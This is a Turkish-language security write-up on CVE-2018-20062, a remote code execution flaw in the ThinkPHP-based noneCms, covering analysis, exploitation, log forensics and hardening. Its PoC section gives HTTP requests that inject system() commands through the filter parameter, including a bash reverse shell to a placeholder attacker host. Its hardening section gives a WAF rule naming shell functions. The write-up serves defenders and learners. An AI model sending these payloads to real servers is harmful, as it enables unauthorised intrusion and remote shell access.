CVE-2018-20062: ThinkPHP "noneCms" Remote Code Execution Vulnerability
Zorluk Seviyesi: Orta | Kaynak: CISA KEV
Zafiyet Analizi ve Giriş
CVE-2018-20062, ThinkPHP framework’ü üzerinde geliştirilmiş olan "noneCms" içerik yönetim sistemi için kritik bir güvenlik açığı olarak karşımıza çıkmaktadır. 2018 yılının Aralık ayında keşfedilen bu zafiyet, kullanıcının veya kötü niyetli bir saldırganın, belirli koşullarda uzak ortamda kod çalıştırmasına (Remote Code Execution - RCE) olanak tanımaktadır. Bu durum, bir saldırganın, sistemin kontrolünü ele geçirmesine ve zararlı işlem veya yazılımlar yüklemesine zemin hazırlamaktadır.
Zafiyetin kökeni, ThinkPHP’nin filtreleme mekanizmasında yatmaktadır. "noneCms" sisteminin filter parametresi aracılığıyla gerçekleştirilen saldırılar, sistemin beklenen alanlarındaki verilerini kötüye kullanmayı mümkün kılmaktadır. Burada söz konusu olan filtreleme, ilgili verilerin doğrulanması esnasında yetersiz kalmakta; bu durum ise, sisteme zararlı komutların enjekte edilmesine olanak sağlamakta ve sonuç olarak uzak kodun çalıştırılmasına (RCE) yol açmaktadır. Bu tür bir açığın varlığı, genellikle zafiyetin farkına varılmadan sistemin istismar edilmesi ile sonuçlanmaktadır.
Dünya genelindeki etkilerine bakıldığında, CVE-2018-20062'nin birçok endüstriyi ve sektörü etkilediği görülmektedir. Özellikle e-ticaret, içerik yönetim sistemleri ve kurumsal çözümler sunan firmalar, zafiyetten en fazla etkilenenler arasında yer almaktadır. Bu tür sistemler genellikle hassas kullanıcı verilerine erişim sağlamaktadır. Saldırganlar tarafından bu açığın istismar edilmesi, veri ihlalleri veya finansal kayıplara neden olabilmektedir.
Gerçek dünya senaryolarına değinecek olursak, bir e-ticaret platformunun, kullanıcılarının kimlik bilgilerini korumak amacıyla kullandığı “noneCms” tabanlı sisteminin, CVE-2018-20062 sayesinde ele geçirilmesi düşünülebilir. Bu tür bir açığın istismar edilmesi durumunda, bir saldırgan potansiyel olarak kullanıcı verileri üzerinde tam kontrole sahip olabilir. Kötü niyetli bir aktör, bu şekilde elde ettiği erişim ile kullanıcıların kimlik bilgilerini çalabilir, mali bilgileri değiştirebilir veya sisteme daha fazla zarar verecek zararlı yazılımlar yükleyebilir.
Zafiyetin kötüye kullanımı, saldırıdan etkilenen sitelerin itibarını zedelemekle kalmaz, aynı zamanda müşteri güvenini de yok edebilir. Şirketler, bilgi güvenliği önlemlerini almazlarsa, sadece maddi kayıplara uğramakla kalmaz, aynı zamanda hukuki süreçlerle de karşılaşabilir.
Sonuç olarak, CVE-2018-20062, ThinkPHP ‘noneCms’ üzerinde bulunan ciddi bir güvenlik açığıdır ve bu tür zafiyetlerin önlenmesi için geliştirici ekiplerin dikkatli olmaları gereklidir. Sistemin güncellenmesi, filtreleme parametrelerinin sıkılaştırılması ve düzenli güvenlik taramaları yapılması önerilmektedir. Bu tür önlemler, zafiyetlerin ortaya çıkma olasılığını önemli ölçüde azaltacak ve sistemlerin güvenliğini artıracaktır. CyberFlow platformu gibi güvenlik araçları, bu tür zafiyetlerin tespit edilmesi ve önlenmesi konusunda büyük bir destek sağlamaktadır.
Teknik Sömürü (Exploitation) ve PoC
ThinkPHP "noneCms" uygulaması ile ilgili CVE-2018-20062 zafiyeti, uygun şekilde filtrelenmemiş parametre kullanımı sonucu uzaktan kod yürütme (RCE - Remote Code Execution) olanağı sunmaktadır. Bu tür açıklıklar, saldırganların hedef sistem üzerinde istedikleri kodu çalıştırmasına olanak tanırken, sistemin bütünlüğünü, gizliliğini ve erişilebilirliğini ciddi şekilde tehdit eder. Bu yazıda, bu zafiyeti adım adım sömürülecek ve teknik içeriğiyle birlikte PoC (Proof of Concept - Kanıtı) gösterilecektir.
Öncelikle, sistem üzerinde zafiyeti oluşmasına neden olacak durumları anlamak önemlidir. "noneCms" uygulaması, filtreleme mekanizmalarında yapılan zayıf yapılar nedeniyle, kullanıcıdan alınan verilerin yeterince doğrulanmaması sonucunu doğurur. Özellikle filter parametresi üzerinde yapılan kötü niyetli bir istekle uzaktan kod çalıştırmak mümkün hale gelir.
Saldırganların bu zafiyeti kullanarak gerçekleştirebilecekleri adımlar şöyledir:
Sistem Hedefleme: İlk önce, hedef sistemin IP adresini veya alan adını belirleyerek başlayın. Örneğin, hedef sistem
http://example.comolabilir.HTTP İsteği Hazırlama: Zafiyetin test edilmesi için aşağıdaki gibi bir HTTP isteği hazırlamamız gerekecek.
filterparametresi ile istediniz bir payload göndereceğiz.
GET /index.php?s=/index/index&filter[]=phpinfo() HTTP/1.1
Host: example.com
- Gerekli Yanıtı İzleme: Yukarıdaki isteği gönderdiğinizde, sunucudan dönecek yanıtları takip edin. Eğer başarılı olduysanız, yanıt içinde PHP'nin yapılandırmasıyla ilgili bilgiler yer alacaktır. İşte bunun için tipik bir yanıt şöyle görünmelidir:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<head><title>PHP Info</title></head>
<body>
<h1>PHP Version 7.x.x</h1>
...
</body>
</html>
- Kötü Amaçlı Kod Gönderme: Bu adımda, uzaktan komut çalıştırmak isteyen bir saldırgan, daha önce
phpinfo()gibi zararsız bir fonksiyon yerine, istedikleri bir kötü amaçlı PHP kodunufilterparametresine iletebilir.
GET /index.php?s=/index/index&filter[]=system('whoami') HTTP/1.1
Host: example.com
Yanıtı İnceleme: Yine, sunucudan dönen yanıtı kontrol edin. Eğer zafiyet başarıyla istismar edildiyse,
whoamikomutunun çıktısını içeren bir sonuç alacaksınız.Saldırının Geliştirilmesi: Bu aşamadan sonra daha kompleks komutlar çalıştırabilir veya dosya yükleyerek geri dönüş almak için daha karmaşık payload'lar geliştirebilirsiniz. Örneğin, bir ters kabuk (reverse shell) almak isteyen bir saldırganın kullanabileceği bir payload aşağıdaki gibi olabilir:
GET /index.php?s=/index/index&filter[]=system('bash -c \"bash -i >& /dev/tcp/attacker_ip/port 0>&1\"') HTTP/1.1
Host: example.com
- Zafiyetin Ortadan Kaldırılması: Zafiyet başarıyla istismar edildikten sonra, bu tür sistemlerin güvenliğini sağlamak için yapılması gereken adımlar arasında, filtreleme ve doğrulama mekanizmalarının güçlendirilmesi, güvenlik yamalarının düzenli olarak uygulanması ve güvenlik duvarı kurallarının gözden geçirilmesi yer alır.
Sonuç olarak, CVE-2018-20062 zafiyeti, yeterince kontrol edilmeden kullanıcıdan alınan verilerin sistemde zararlı bir şekilde yürütülmesine olanak tanır. Bu tür zafiyetler, hem sistem güvenliği hem de kullanıcı verilerinin gizliliği açısından büyük risk taşımaktadır. "White Hat Hacker" olarak, bu tür tehditlerle başa çıkmak için sürekli olarak eğitim almak ve pratik yapmak, güvenlik alanında bilgi sahibi olmanın ve bu bilgiyi kullanmanın en etkili yolu olacaktır.
Forensics (Adli Bilişim) ve Log Analizi
ThinkPHP uygulamalarında karşılaşılan CVE-2018-20062 zafiyeti, siber güvenlik uzmanları için büyük bir tehdit oluşturabilir. Bu zafiyet, "noneCms" sisteminde bulunan ve kötü niyetli kullanıcıların sunduğu filtre parametresinin istismar edilmesi yoluyla uzaktan kod çalıştırma (remote code execution - RCE) olanağı sağlayan bir sorundur. Bu tür zafiyetlerin ortaya çıkması, siber suçluların sistemlere sızıp yetkisiz işlem yapmalarını kolaylaştırır.
Siber güvenlik uzmanları, bir siber saldırının izlerini tespit etmek için çeşitli log dosyalarına göz atmalıdır. İlk olarak, erişim loglarında (access log) şüpheli aktiviteleri incelemek önemlidir. Normalde beklenmeyen IP adreslerinden gelen yüksek sayıdaki istekler, potansiyel bir saldırıya işaret edebilir. Özellikle, aşağıdaki örneklerde olduğu gibi belirli bir filtre parametresi ile yapılmış çağrılar dikkat çekmelidir:
192.168.1.10 - - [10/Oct/2023:13:55:36 +0000] "GET /nonecms/index.php?filter[]=system HTTP/1.1" 200 2326
Bu tür bir log kaydı, sistem komutlarının çalıştırılmasını sağlayabilecek bir "filter" parametresinin kullanıldığını gösterir. Uzaktan kod çalıştırma durumlarında, bu tür istekler genellikle belirli bir düzen içerisinde gelir ve sıklıkla belirli payload'lar ile birleştirilmiştir.
Bir başka önemli log türü ise hata loglarıdır (error log). Hatalı isteklerden gelen geri dönüşler genellikle saldırganların gerçekleştirdiği testlerin izlerini taşır. Örneğin, bir dosya erişim hatası veya beklenmeyen bir içerik türü gibi durumlar, sızma teşebbüslerinin veya kod çalıştırma girişimlerinin habercisi olabilir. Şöyle bir hata kaydı gözlemlenirse:
[ERROR] Invalid input on filter parameter - potential RCE attempt
Bu tür hata kayıtları, birisinin uygulamanın içerisine sızmaya çalıştığını açıkça göstermektedir.
Siber güvenlik uzmanları ayrıca, filtreleme sınırlamalarını veya diğer güvenlik denetimlerini atlatma girişimlerini tespit etmek için anormal veya şüpheli istek desenlerine yönelik belirli imzalara (signature) de bakmalıdır. Örneğin, SQL enjeksiyonları veya komut enjeksiyonları gibi yaygın saldırı teknikleri genellikle belirli kalıplar içerir. Bu tür kalıpların loglarda bulunup bulunmadığını kontrol etmek kritik önem taşır.
Ayrıca, saldırının sürecini anlamak için kullanıcı oturumları ve kimlik doğrulama süreçleri de incelenmelidir. Yetkisiz oturum açma girişimleri, özellikle çoklu denemeler içeren örüntüler, saldırganların sisteme erişmeye çalıştığına dair önemli bilgiler sunabilir.
Tüm bu süreçlerde SIEM (Security Information and Event Management) sistemleri son derece faydalıdır. Bu tür sistemler, logların toplanması, analiz edilmesi ve anlamlandırılması için kapsamlı araçlar sunar. Güvenlik uzmanları, SIEM sistemlerini kullanarak potansiyel tehditleri daha hızlı ve etkili bir şekilde tespit edebilir.
Sonuç olarak, CVE-2018-20062 zafiyeti gibi uzaktan kod çalıştırma (RCE) zafiyetlerine karşı etkili bir savunma oluşturmak için log analizi ve adli bilişim tekniklerinin etkin bir şekilde kullanılması gereklidir. Sistemlerin güvenliğini sağlamak üzere sürekli olarak log incelemesi yapmak, potansiyel tehditleri erken aşamada tespit edebilmek ve gerekli önlemleri alabilmek açısından büyük bir önem taşır.
Savunma ve Sıkılaştırma (Hardening)
ThinkPHP framework'ü, popülaritesi ve esnekliği sayesinde pek çok web uygulamasında kullanılmaktadır. Ancak, bu platformda tespit edilen CVE-2018-20062 açığı, kullanıcıların dikkatli olmalarını gerektiren kritik bir güvenlik açığıdır. Bu zafiyet, "noneCms" uygulamasında bulunan bir filtreleme parametresinin kötüye kullanılmasıyla uzaktan kod yürütme (Remote Code Execution - RCE) riskini beraberinde getirmektedir. Bir kötü niyetli aktör, bu açığı kullanarak sunucu üzerinde komutlar çalıştırabilir ve hassas verilere erişebilir.
Bu tür zafiyetlerin savunulması ve sıkılaştırılması, bir siber güvenlik uzmanının en önemli görevlerinden biridir. Öncelikle, en temel uygulama, güncel ThinkPHP sürümünün kullanılmasıdır. Çünkü üretici, bilinen zafiyetlere karşı yamalar yayınlamaktadır. Bunun yanı sıra, uygulama yapılandırmalarınızı gözden geçirmeniz de büyük önem taşımaktadır. Uygulamadaki gereksiz modülleri ve bileşenleri devre dışı bırakmak, saldırı yüzeyini azaltacağından, potansiyel saldırganların istismar etme olasılığını düşürmekte etkili olacaktır.
Bu açığı önlemek için uygulama düzeyinde yapılacak bazı önlemler oldukça kritiktir. İlk olarak, kullanıcıdan gelen verinin mutlaka doğrulanması (validation) önemlidir. filter parametresi kullanılırken, bunun nasıl değerlendirileceğini ve hangi tür verilere izin verileceğini belirleyen katmanların eklenmesi, kötü niyetli eylemlerin önüne geçecektir. Örneğin:
$filter = $_GET['filter'];
if (!in_array($filter, ['allowed_value1', 'allowed_value2'])) {
die('Invalid input');
}
Burada, yalnızca belirli değerlerin kabul edilmesi sağlanarak, potansiyel bir RCE saldırısının önüne geçilebilir. Bunun yanı sıra, sunucu tarafında kontrol mekanizmaları oluşturmak, kullanılabilirliği ve güvenliği artıracaktır.
Web Uygulama Güvenlik Duvarı (WAF) kullanarak, bu tür zafiyetlerin tespit edilmesi ve engellenmesi sağlanabilir. Örneğin, aşağıdaki gibi kural setleri oluşturulabilir:
SecRule ARGS:filter "@rx (system|exec|shell|cmd)" "phase:2,id:200003,t:none,status:403"
Bu kural, filter parametresinde belirli tehlikeli komut dizilerini kontrol ederek, herhangi bir tehlikeli girişin sunucuya ulaşmasını engeller.
Ayrıca, sistemin sıkılaştırılması (hardening) aşamasında, sunucu yazılımlarının gereksiz hizmetlerden arındırılması, ağ güvenliğinin uyulması, veri tabanlarına erişim kontrollerinin titizlikle yapılması koruma katmanlarını güçlendirir. Güçlü parolalar kullanmak ve düzenli olarak güvenlik güncellemelerini takip etmek, her siber güvenlik uzmanının bilmesi gereken temel koruma yöntemleridir.
Son olarak, sürekli güvenlik testleri (penetrasyon testleri) yaparak, uygulamanızın güvenlik açıklarını proaktif bir şekilde tespit edebilir ve gerekli müdahaleleri hızla gerçekleştirebilirsiniz. Unutulmamalıdır ki, güvenlik yalnızca bir olay olduğunda değil, aynı zamanda sürekli bir süreçtir. Bu tür zafiyetlerle mücadelenin bir parçası olarak uygun savunma ve sıkılaştırma yöntemlerini uygulamak, sistemlerinizin güvenliğini sağlayacaktır.